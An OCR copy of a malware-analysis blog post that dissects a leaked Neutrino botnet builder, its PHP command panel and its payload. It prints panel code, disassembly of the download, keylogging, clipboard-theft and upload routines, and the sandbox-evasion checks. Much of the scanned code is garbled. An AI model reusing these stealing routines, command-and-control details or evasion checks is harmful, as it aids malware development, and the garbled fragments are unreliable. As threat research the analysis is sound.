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It is common practice among cybercriminals to sell their products in the form of packages, consisting of:

e a malicious payload — a frontend of the malware that is used for infecting users

e a C&C panel - a backend of the malware, usually designed as a web-application, often dedicated to
LAMP environment

¢ a builder — an application used for packing the payload and embedding in it information specific for the

interest of the particular distributor (the C&C address, some configuration, etc)

Such packages are commercial products sold on the black market. However, from time to time it happens that the
product leaks into mainstream media. It gives researchers a precious opportunity to take a closer look on the used

techniques.

Recently, I found a leaked package containing the builder for the Neutrino botnet. It is not the newest version (as
usually the case), but it still provides lot of useful information that can help in comparative analysis with the

samples that are nowadays actively distributed.

Elements involved

— Neutrino Builder — 32 bit PE, written in VS2013, packed with Safengine Shielden v2.3.6.0
(md5=80660973563d13dfa57748bacc4f7758) — panel (written in PHP) — stub (payload) — 32 bit PE, written in
MS Visual C++ (md5=55612860c7bf1425c¢939815a9867b560, section .text
md5=07d78519904{1e2806dda92b7c046d71)

Functionality

Neutrino Builder v3.9.4

The builder has been written in Visual Studio 2013, and it requires the appropriate redistributable package to run.

The provided version is cracked (as the banner states: “Cracked and coded by 0x22”).

The functionality of this tool is very simple — it just asks a user for the C&C address and writes it inside the

payload:
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i Ch\Usershtester\Desktop\Neutrine v3.6 Builder.exe

Success!

X5

File has been successfully patched!

Comparing 2 payloads — the original one, and the one edited by the Builder, we can see that changes made by the

builder are really small — it simply encrypts the supplied URL and stores it in the dedicated section.

Below: left (stub) — original payload, right (test_stub.exe) — edited payload.

lij Compare...

| C:/Users/tester Desktopstub

- | |C:ﬂ_lsers;"hesheeresktopfhest_sb.lb.exe

4 E stub
DOS Header
@ Dosstub
4 INT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
4 BE ted
= EP = FADA
i .rdata
ofy .data
o reloc

Relative Offsets | Next Diff

1|2 |3 |4 5|6
00 &4 00 38 00 |64
00 SR 00 |38 00 4C
00 f@@) 00 fag 00 |03
00 JEN OO0 NN 00 S
00 48 DE 1A 00 58
71 88 F&8 F7 71 00
00 (8@ 00 f@g 00 |00
24 52 8E 00 08 20
00 20 00 20 00 20
00 20 00 20 00 20
00 (20 00 (20 00 |20
00 S 00 268 00 0&
nn N AN AR A0 0

Panel

4 E test_stub.exe
DOS Header
@ Dosstub
4 MNT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
a BE et
— =p EP = FADA
|ﬂl oy .rdata
ofy .data
oy reloc

Relative Offsets | Next Diff

0|1 2|3 4|5 |6
G2 00 |45 00 [(§8 00 4D
22\ 00 |38 00 8 00 4AC
32 00 |94 00 [F& 00 |4
@ 00 B 00 S 00 S
EO FD FF FF 75 0B FF
FF C7 45 FC 01 00 77
20 00 [20) 00 (2088 00 |20
28 00 28 00 28 00 28
20 00 20 00 20 00 20
&0 00 20 00 20 00 20
30 00 [20) 00 (20 00 |30
SN 00 ERES 00 FBEN 00 OR
NX N0 N2 A0 AR A0 ARk

8 9 A B C DE F ot
93 00 |34 00 [§8) 00 @D 00
SEN 00 IS8 00 (238 00 IR 00
00 00 |03 00 (80 00 J@ 00
T2063 SEEE| 00 00 SRONER
ER 71 D3 13 EA 71 58 15
EONCONOaRaE 00 ISaNEE 00
00 00 @0 00 (80 00 |00 AD
208 00 20 00 20 00 20 00
28 00 [28 00 [28) 00 |28 00
20 00 20 00 Z0 00 (SN 00
201 00 (20 00 28] 00 |20 00
0OA 00 OA& 00 OA 00 OR 00
NX N0 N3 A0 Nk AN AR An

m
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Mame * Date modified Type Size
htaccess 2015-07-17 16:23 HTACCESS File 1KB
|| 404.php 2015-07-17 16:23 PHP File 1 KB
allinone,js 2015-07-17 16:23 J5cript Script File 201 KB
|| auth.php 2015-07-17 16:23 PHP File S KB
%  bootstrap.css 2015-07-17 16:23 Cascading Style 5... 244 KB
bootstrap-datepicker,js 2015-07-17 16:23 J5cript Script File 12 KB
%  bootstrap-theme.css 2015-07-17 16:23 Cascading Style 5... 15 KB
browser_cookie_remover.bat 2015-07-17 16:23 Windows Batch File 4 KB
|| codeZname.php 2015-07-17 16:23 PHP File 9KB
|| config.php 2015-07-17 16:23 PHP File 2 KB
|| countries.php 2015-07-17 16:23 PHP File &6 KB
% custom.css 2015-07-17 16:23 Cascading Style 5... B4 KB
i datepicker.css 2015-07-17 16:23 Cascading Style 5. S KB
|| functions.php 2015-07-17 16:23 PHP File 20 KB
|| GeolP.dat 2015-07-17 16:23 DAT File 1235KB
|_| geoip.php 2015-07-17 16:23 PHP File 42 KB
|| gecipregionvars.php 2015-07-17 16:23 PHP File 95 KB
v | glyphicons-halflings-regular.ttf 2015-07-17 16:23 TrueType font file 41 KB
|&] index.html 2015-07-17 16:23 Firefox HTML Doc... 1KB
|| index.php 2015-07-1716:23 PHP File 1KB
| || install.php 2015-07-17 16:23 PHP File 17 KB
|| readme.tet 2015-07-17 16:23 Text Document 12 KB
|| redir.php 2015-07-17 16:47 PHP File SKB
|| tasks.php 2015-07-17 16:23 PHP File T KB

The package contains full instructions written in Russian (readme.txt), where we can find many interesting details

about the functionality (examples below).

B index php :3| B config php :!!| B courtries php :!!| B functions php :3| B geoip php ::!| B gevipregionvars php ::!| Bl izsks php £ [ readme e E3

Lo -

2 S _/ ()

3 I S N A A Y SN Uy SN SR |
E R B I A A A A A A S Y Y A A A B A
LSS A I A WY A VNPT B SR A ) foF o) f o _bot)
5~ Stress testing tool

i’

BHrMaHne

8 HKomMnnekc npefHazHavyeH And TECTHPOBAHMA COBCTEBEHHWX CHCTEM Ha OTKAa20YCTONYMBOCTh.
§ | ===========sssssszssssssssossssssssssssssssossss

18 - WHCTpyKUMA Mo ycTaHoBKe naHenn ynpapnequds -

11 |==============z=====s=sssssssssssssssssss=sssss

12

13 1) ¥YcTadoBWThE Ha chpunTe config.php u install.php npaea 777.

14 23 Ana yoTanoBKW 2anycTHTe ckpunT install.php v cnepoBate WHCTPYHUWAM.

15 2} Moche yoTaHoBKe CHPUNT BHAACT Bam cCCHOKY Ha BXo/ B NaHelk, coxpaHnTe eé,
16 43 NorvH W naponk no yMoadaduie admingadmin.

17 He zadypeTe yaannTe cHpUnT Tnstall.php nocne ycTaHoBKK.

19 BawHo :

200 [na cozpadua Gunga, Bam notpedéyercd AaTk MHE NONHBI NyTe Ao cHpunTta tasks.php wan redir.php (npoknagka) .
21 B redir.php B nepemenHoil Surl gonmed GuTE yKazaTk NonHui nyTe K tasks.php 2akofMpoBaHHLil anropuTMoM basesd.
22 MNpoknagka MmokeT GuTh yocTaHoBNeHa Ha AwGoM cepeepe © nogepwioi php.

24 [Ina KoppeKTHoH paSoTel Noncka no AoraM gopmrpadGepa, HeoGxXoAMM ycTaHoBAeHHBH MySOL BepcHK He Huke 5.6

The requirements for the panel installation:

e PHP
¢ MySQL not lower than 5.6 (for the full functionality)
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Default login and password to the panel: admin, admin
Tasks performed by the infected client on demand:

e various types of DDoS attacks

» keylogging (enable/disable), including — trace text in a defined window

« find file of the defined type

e update bot

e remove bot

e DNS spoofing (redirect address X to address Y)

» Formgrabbing, stealing FTP credentials

o download and execute a file one of the following types (EXE, DLL, bat, vbs)
 add defined entry into the Windows Registry

[code language="php” title="functions.php” firstline="266"] function EncodeCommand($command) { switch
(strtolower($command)) { case “ddos”: return “http”; break; case “https ddos”: return “https”; break; case
“slowloris ddos”: return “slow”; break; case “smart http ddos”: return “smart”; break; case “download flood”:
return “dwflood”; break; case “udp ddos”: return “udp”; break; case “tcp ddos”: return “tcp”; break; case “find
file”: return “findfile”; break; case “cmd shell”: return “cmd”; break; case “keylogger”: return “keylogger”; break;
case “spreading”: return “spread”; break; case “update”: return “update”; break; case “loader”: return “loader”;
break; case “visit url”: return “visit”; break; case “bot killer”: return “botkiller”; break; case “infection”: return

“infect”; break; case “dns spoofing”: return “dns”; break; } return “failed”; } [/code]
C&C is very sensitive for illegitimate requests and reacts by blacklisting the IP of the source:

[code language="php” title="functions.php” firstline="93" highlight="97,100,104"] function
CheckBotUserAgent($ip) { $bot_user_agent = “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0”; if ($_SERVER[‘HTTP_USER_AGENT’] != $bot_user_agent) { AddBan($ip); }
if (lisset($_COOKIE] ‘authkeys’])) { AddBan($ip); } $cookie_check = $_COOKIE] ‘authkeys’]; if ($cookie_check
1= “21232f297a57a5a743894a0e4a801fc3”) { /* md5(admin) */ AddBan($ip); } } [/code]

Looking at install.php we can also see what are the formgrabbing targets. The list includes the most popular e-

mails and social networking sites (facebook, linkedin, twitter and others).

[code language="php" title="install.php" firstline="103"] $ff_sett = "INSERT INTO ‘formgrabber_host® (‘hostnam

The main file used for communication with the bot is tasks.php. Only POST requests are accepted. Below: adding

information sent by a bot into the database:

[code language="php" title="tasks.php" firstline="20"] if ($_SERVER["REQUEST_METHOD"] != "POST") { AddBan($rea’

Opening index.php causes adding client’s IP into a blacklist (unconditional):
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[code language="php” title="index.php” firstline="18" highlight="20"] ConnectMySQL($db_host, $db_login,
$db_password, $db_database); CheckBan($real_ip); AddBan($real_ip); [/code]

Stub

All the commands that can be found in the backend are reflected in the frontend. We can see it clearly, because the

payload is not obfuscated!

Hard-coded authkey, that is checked in by the C&C occurs in every request sent by the bot:

_rdata:@0413370 aPostSHttp1_6Ho db 'POST %s HTTP/4.8',6Dh,B8Ah ; DATA XREF: sub_ 4B898F8+1E68To

-rdata:ee413370 db “"Host: %s',8Dh,8nh

rdata: 868413378 db "User-fAgent: HMozilla/s5.8 {Windows HT 6.1; WOWG64; rv:35.8) Gecko/28°
.rdata:ee41337@ db *188181 Firefox/35.8",8Dh, BAK

.rdata: 08413370 db "Content-type: application/x-www-form-urlencoded® ,8Dh,BAh
-rdata:868413378 db "Cookie: authkeys=21232f297a57a5a7u43894abeladf1fc3 ', abh, BAh
-rdata:@8413378 db “Content-length: %i',8Dh, B8R0

.rdata:88413378 db 8Dh, 8Ah

.rdata:ee41337@ db *%s',8Ah,0

Bot is registering itself to C&C, reporting its version and environment:

e

By BG A B

PaLYESADBS report_bot data:

BBLASABE mow ecx, [ebpruvar_1218]

BB4ASABE push [l
Be4ASABC push offset a3 _ 9 4 - P T

BaLAsA11 lea edx, [ebp+uvar_1628]
BB4ASANF push edx
oeLesA1E lea eax, [ebp+var_1830]
BB4ASA1E push eax
BB4OSATF lea ecx, [ebp+uvar 1A38]

BeYESA2S push BCK
BB4ASA2ZG push offset aCmd1ULdS0s3SAwS P “cnd=-1Guid-%skos-Lshav-Fstuersion-§shqua'. .

BBLYASAZE mow edx, [ebp+var 8]

BBLBSAZE push edx - I PuUETR ]

BBYBSAZF call ds:wsprintfy 5 const WCHAR aCmdiUid30sSAvS

BBLESA3S add esp, 1Ch Aacmd1Uidsi ' -

BB4BSA3E jmp short loc_4B5A,,icgde B) <cmd=18uid=%s&os=%s&av=%s&ue’

unicode 8§ <rsion=%s&guality=%i>.,0

Implementation of the commands requested by the C&C (selected examples):

Downloading specified payload form the C&C:
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@A%0IBSE push Eax

AONB3ARSD push of Fset VarHame
BAMBARA? call geteny

AO40ARGT add esp, b

AHNEIROA push Bax

AaN03BGE push offset ash_D_%
QONDIRTA lea eax, [ebprhest]
HAMBARTE push Pax &
AE40ABTT call sprintF

AONBIRTE add esp, 18h
GA4BIBRTF now [ebp+var 189], 1
Q0NDIREG6 call clock

HHNHEREHE mow BCE, [ebpsDst]
BAL03B01 add eax, [ecxeS10Ch]
QONBIRTT mow [ebptuar 1187, eax

loc LEIRDD:
nOWZE

edx, [ebpruar_109]

test edx, edx
jz short loc_ 40EBFG
™1 =
L ]

[l e (il e
D04B3BAE push L] : LPFEIHDSTATUSCALLBACK| |04 D3BF 6
ARsBIBAN push [} ; DWIRD A% N3BFG
iN0ABAC 1ea tax, [ebpebest]) Q04 DABF G
OONB3BE2 push Bax : LPCETR LLEL =] R
AHSBARET now rex, [ehpebst] B4 03BFD
Ai40IBREY add ecx, b Q0% B3C B2
HO%B3BEC push BCx i LPCETH LB ETH
LiLiETHe] i SHK HH a4y 0acay
a04MaREY call URLDownloadToFiled LLEL=IHH
LLETETTH ' — . y af&0ac aF
AA&BABCA chp [ebp+uar_118], @ A0HN3C1T
Q0403801 jnz short loc 4830EQD AfRsR3C13

LLET I Y

LLET =1 B

LLET =1 1

Keylogger (fragment)

B84 a7 D
08487 PHE
aB4a7I%A
ae4a795%2
AB4ATInE
aa4a795%
BBLa7ISF
aa4a7 60
BBLAT 6L
BB4%A7 65
AaLa7 269
Aa4a7I6R
AaLa797 0
AALa7ITE
AALA7ITE
AA4ATITE
AaLa7 981
L1 BT R K
AaLA7 989
BO4A7 IR
AaLa7992
BO4ATIPY

push
push
push
lea
push
lea
push
mousx
push
mousx
push
call
push
call
MOUsxE
and
xor
cmp
sekz
mow
push
call

Framegrabber (fragment)

edx ; duhkl

a ; wFlags
18h ; cchBuff
eax, [ebp+puszBuff]

eax ; puszBuff
ecx, [ebp+KeyState]

eLx ; lpKeyState
edx, [ebp+arg @8]

edx : wicanCode
eax, [ebprarg_ @8]

eax ; wlirtHey
ds:TolnicodeEx

18h ; nlirtHey
ds:GetKeyState

BCX, ax

ecx, Bh

edx, edx

ecx, Bih

dl

[ebpruvar_189], dl

14h ; nlirtHey

ds:GetKeyState

L |
loc 4EIRFG:
Ry pax, [ebprbst]
push pax
call FreeBufFer
add esp, A
push i
call _endthreades
add BSp, U
ET Ak, eax
Ain esp, ebp
pop rhp
retn L]
downloadfayload endp

i lpAddress
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"PIE
ALAFBAS =or Pax, BaX

BRLATBAT mov [ebp+String], ax
B84 87BAE push 206h H
BBLB7BERI push " H
BBLaYBRS lea ecx, [ebp+var_ BZE]
B4 ATBRE push PCH H
AdLAFBEEC call memse

BBy e7BC1 add esp, BCh

BB4ATBCY push 1840 » NMaxGount
BLBTBCY lea edx, [ebp+String]

B4 BTBEF push edx + 1pString
BO4BTEDA call ds:GetForegroundiindow

B4 BTBDG push eax + hvnd
ABLye7FeDY call ds:CetWindowTexty

BO4BTBDD test eax, eax

BoLB7BDF jle short loc_ &O7COE

I}I
P
ABLA7BEY1 lea eax, [ebp+String]
BB4ATBEY push eax
BBLATBER push offset aSTime : "wnf %5 | Time
B84 ATBED lea ecx, [ebp+uar_620]
BB4BT7BF3 push BCH ; LPWSTH
BB4BTBFY call dstwsprintFy
BBLBTBFA add esp, BCh
BBy O7BFD push 1 : char
ABLATBFF lea edx, [ebp+ruar 620
BBuB7CES push edx : Str
BBLETCBs call logToFile

ize

5
Ual

Dst

Steal Clipboard content (fragment):

™

B4 ATECE push Alh » UFormat
BBLATECA call ds:GetClipboardData
B4 ATEDR mov [ebp+hHen], eax
BBLATEDI mow eax, [ebp+hHen]

B4 ATEDG push eax » hHem
BBLATEDT call ds:Globallock

BOLATEDD mov [ebp+5tr], eax

B4 ATEER mov ecx, [ebp+sitr]
BO4ATEE3 push BCH HER- 0
ABL4ATEEL call wcslen

BOLATEEY add esp, 4

BO4BTEEC cmp eax, 1040

BOYBTEF1 jnb short loc_ WBFFAF

|‘I
™
BOYATEF3 push A ; char
BO4ATEFS push offset aClipbrd ; “\nCLIPBRD 0"
BOYATEFA call logToFile

BO4ATEFF add esp, 8

BOYATF B2 push " » char
BO4ATF By moy edx, [ebp+*5tr]
BOYATFBF push edx HEE o
BO4ATFBE call logToFile

BO4ATFRD add esp, B

BO4ATF18 push H ; char
BOYBTF12 push offset asc_K13248 ; W™
BO4YBTF17 call logToFile

BO4ATFIC add esp, B

The stolen content (i.e. logged keys) is saved in a file(logs.rar). Further, the file is read and uploaded to the C&C:
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h |
il it 2
LI g i
AA%RE270 loc 4ERZTH: ; hTemplateFile
QO0AZT6 push a
AONNR27E push L} 3 dwflagsAndateribotes
GA&BE2TH push : ] ; dulreationbisposition
QONDRZTE push o ; 1pSecurityAttributes
AO%AR2TE push 1 ; dwShareHode
A0&N08ZA@ push BDDDBAAaN : dwbesiredAccess
BONOAZHS push offset alogs_rar_B ; “logs.rar”
AihBEa2En call dizCreateFileW
D040S290 now [ebpshFile], eax
Ai%EE2YG cop lEBp*I‘II'iIP], BFFFFFFFER
a&0azen jr short loc_ 408382
"_I |
il i
DONDRZIF push L] ; 1pFileSizeHigh
AA%BE2A1 now rdx, [ehprhFile]
QONDAZAT push ek : hFile
aaspE2AE call ds:GetFileSize
BONOEZAE now [ebpsuar_140], eax
QONBRZES now eax, [ebp+hFile]
AA&BE2EN push I ; hilbject
aox0azZ00 call ds:Closelandle
HH%BR201 cop [ebpesvar_140], @
GA&0E820E jbe short loc_4082F7
|
L |
M
QONDEZCA oW ek, [ebpslpBuffer]
ARRBEZ0E push (14 ; 1pFileHane
V0408201 Pow pix, [ebprarg C]
AONNEZDN add edx, O1Bh
Ai&0820A push elx : lpWideCharste
Q0NB82DE call _sendFile
ARLBEZER add rsp, #
QONDE2ET nowzx  eax, al
AONNEZEN test Bax, eax
AO0EZER jr short loc 40E2F5
L] I-

Wrapping the file in a POST request:

004102082 add esp, &

A0%1B205 now esi, eax

BA4102087 add esi, [ebprvar_1C]

00410280 add esi, [ebprnHumberdfBytesToRead]

410280 now vax, [ehprvar 20]

00510218 push eax ; Str

B0N18211 call strien

0818216 add esp, b

00510219 lea eck, [esiveax+?]

i1 8210 now [ebpevar_L], ecx

00410228 push BOOh 3 dusize

00418225 call allocBuffer

08108220 add sp, 4

00510220 Pow [ebp*buf], eax

Atk 6230 now eilx, [ehprvar_24]

00410233 push edi

A0N1 0230 0w eax, [ebpruar_C]

008108237 push rax

a0410238 now ecx, [ebpename]

BON18238 push L=

BA41023C now ek, [ebpruar 4]

D041823F push edx

LLERLT-T ] gm offset aPostSHEtp1_0_2 ; “POST Ts HITP/A1. @urinHost: SsirinCookie:" ..

B0410245 now eax, [ebpsbuf]

BON1E2H8 push eax i LPSTR

0810249 call dsiwsprintfa

0041 020F add esp, ‘:sn ; CHAR aPost3Httpi_8 2[]

BO410252 now [ebpevar_35], B . . . . -
SR8 oy box, dword pir [enpaPostSHttp1_ﬂ_2 db ‘POST %s HTTP/1.8',8Dh,8Ah ; DATA XREF: _sendFile+236To
HON1BZ59 push  ecx P db "Host: %s',8Dh,0Ah

oy pran e el db 'Cookie: authkeys=21232f297a57a5a743894ale4a801fc3",06Dh, 8RN
:::m:g u;;l sub ufssn db ‘User-fAgent: Mozilla/5.8 {(Windows HT 6.1; WOWG6Y4; rv:35.8) Gecko/28"
BBNI0268 mow  [enpes]. ea db *186181 Firefox/35.8',8Dh,BAh

BONT 26D Cop [ebp+s], OFFFFFFFFN db 'Connection: close’,@Dh,B8Ah

a0410260 jz loc_41032F

db ‘Content-Length: %d',8Dh,B8Ah
db ‘Content-Type: multipart/form-data; b dary )

’@ db - %d*, 8Dh , 8Ah
Q0M10273 now E—

Also, success and failure of every task requested by the C&C is reported by the bot:

This malware is a threat not only for a local computer. It also scans LAN searching for shared resources and steals

them:
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h J
"I
BBy BAGBA push 288h ; Size
QBLBA6BF push L] ; Ual
ABLBA611 lea ecx, [ebpevar_218]
B4 BAG1F push BCX : Dst
ABLBR618 call memset
AB4BAGID add esp, BCh
ABLBAG20 mow edx, [ebpruvar_A4]
B4 BR623 push edx
ABLBA62L mow eax, [ebpevar_214]
B4 BAG2A push eax
B4 BAG2E push oFfset ai92_168_D_D
BB4BAGAR lea ecx, [ebp+uvar_218]
BBLBR6A6 push BCX : LPUSTH
B4 BAGAY call ds:twsprintF
oY BAGAD add esp, 18h
B4 BAGHE lea edx, [ebp+var_218]
BBLBR6LS push edx
ApyBAGST call stealShared
BBLBRGLE add esp, &4
B4 BAGHF jmp short loc 4OASF8
"PIE
BO4BASFB
BOYBASFE loc_LBASFE:
BB4BASFE mov eax, [ebp+uar_ &)
BBLBASFE add eax, 1
BO4BASFE mow [ebp+var 4], eax

Steal shared (fragment):

Defensive techniques

Be4BaDCe push ebp

B4 BPDC1 mov ebp, esp

BBLAYDCE sub esp, A6 0ah

BBy BPDCY Hor eax, eax

BOLAPDCE mou [ebp+Dest], ax

8489002 push 286h ; Size
BB4BIDDT push a : al

aBLEIDDY lea ec¥, [ebp+Dst]

BBNBIDDF push BCH ; Dst

BBNBPDED call memset

BBLEPDES add esp, OCh

BBLBIDEE mov [ebp+uvar 1C], offset aShareddocs
BOLBIDEF mov [ebp+uar_ 18], offset afdmin
@B4BPDF6 mov [ebp+uvar_14], offset ac ; “C5°
BOLBIDFD mov [ebp+var_ 18], offset ab ; “Div
GB4BPEBY mov [ebp+uvar C], offset aE ; “ES"
B0LBYEBE mov [ebp+var 8], offset aC_@ ; “C"
GB4BPE1Z mov [ebp+uvar 4], offset abD_@ ; 0"
BBLEPE1D xor edx, edx

BBUBYE1E mov [ebp+Filename], dx

BBLEPEZZ push 2B6h ; Size

; USharedDocs"’
; “ADMIHE™

The payload also contains an extensive set of various defensive functions.

In addition to the well-known checks — like isDebuggerPresent, we can find some that are less spread — like

checking the user name against names used by known sandboxes: “maltest”,

» G«

“virus”, “malware”. Full set explained below:

« is debugger present, via: IsDebuggerPresent

» <«

tequilaboomboom

 is remote debugger present, via: CheckRemoteDebuggerPresent(GetCurrentProcess(),

pDebuggerPresent)
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e check if running under Wine, via: GetProcAddress(GetModuleHandleW(“kernel32.dll”),

“wine_get_unix_file_name”)
Check presence of blacklisted substrings (ignore case):

» username via: GetUserNameW vs {“MALTEST*, “TEQUILABOOMBOOM*, “SANDBOX*,
“VIRUS“,”MALWARE*}

o current module name, via: GetModuleNameW vs {“SAMPLE*, “VIRUS*, “SANDBOX” }

e BIOS version, via registry key: “HARDWARE\Description\System*, value “SystemBiosVersion” against:
{“VBOX*, “QEMU*, “BOCHS"}

e BIOS version, via registry key: “HARDWARE\Description\System“, value “VideoBiosVersion” against:
“VIRTUALBOX*

e SCSI : via registry key: “HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus O\Target 1d“, value
“Identifier), against {“VMWARE*“, “VBOX", “QEMU*}

Check presence of:

e VMWareTools, via registry key: SOFTWARE\VMware, Inc.\VMware Tools
e VBoxGuestAdditions, via registry key: SOFTWARE\Oracle\VirtualBox Guest Additions

Conclusion

Malware analysts usually deal with just one piece of the puzzle from the following set — the malicious payload.

Having a look at full packages, like the one described above, helps to see the bigger picture.

It also gives a good overview on how the actions of distributing malware are coordinated. As we can see,
criminals are provided with a very easy way to bootstrap their own malicious C&C. It doesn’t really require
advanced technical skills to become a botnet owner. We live in age when malware is a weapon available to the

masses — that’s why it is so crucial for everyone to have a solid and layered protection.

About the author

Unpacks malware with as much joy as a kid unpacking candies.

Source: https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/
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